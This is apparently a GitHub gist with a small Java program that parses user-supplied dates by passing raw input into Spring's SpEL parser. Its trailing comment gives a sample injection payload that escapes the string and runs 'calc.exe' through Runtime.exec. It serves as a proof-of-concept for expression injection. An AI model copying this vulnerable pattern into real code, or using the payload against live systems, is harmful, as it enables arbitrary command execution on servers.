Created
September 12, 2012 23:18
-
-
Save brandonprry/3710710 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import org.springframework.expression.Expression; | |
import org.springframework.expression.ExpressionParser; | |
import org.springframework.expression.spel.standard.SpelExpressionParser; | |
import org.springframework.util.Assert; | |
import org.apache.commons.logging.LogFactory; | |
import java.io.*; | |
import java.util.Date; | |
public class main { | |
/** | |
* @param args | |
* @throws Exception | |
*/ | |
public static void main(String[] args) throws Exception { | |
// TODO Auto-generated method stub | |
ExpressionParser parser = new SpelExpressionParser(); | |
System.out.println("Please enter a date and I will parse it:"); | |
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in)); | |
String line = stdin.readLine(); | |
Expression exp = parser.parseExpression("'" + line + "'"); | |
Date date = exp.getValue(Date.class); | |
System.out.println("Thanks! The date you entered was:"); | |
System.out.println(date.toString()); | |
} | |
} | |
/* 02/15/2012' == T(Runtime).getRuntime().exec('calc.exe').toString() + ' */ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment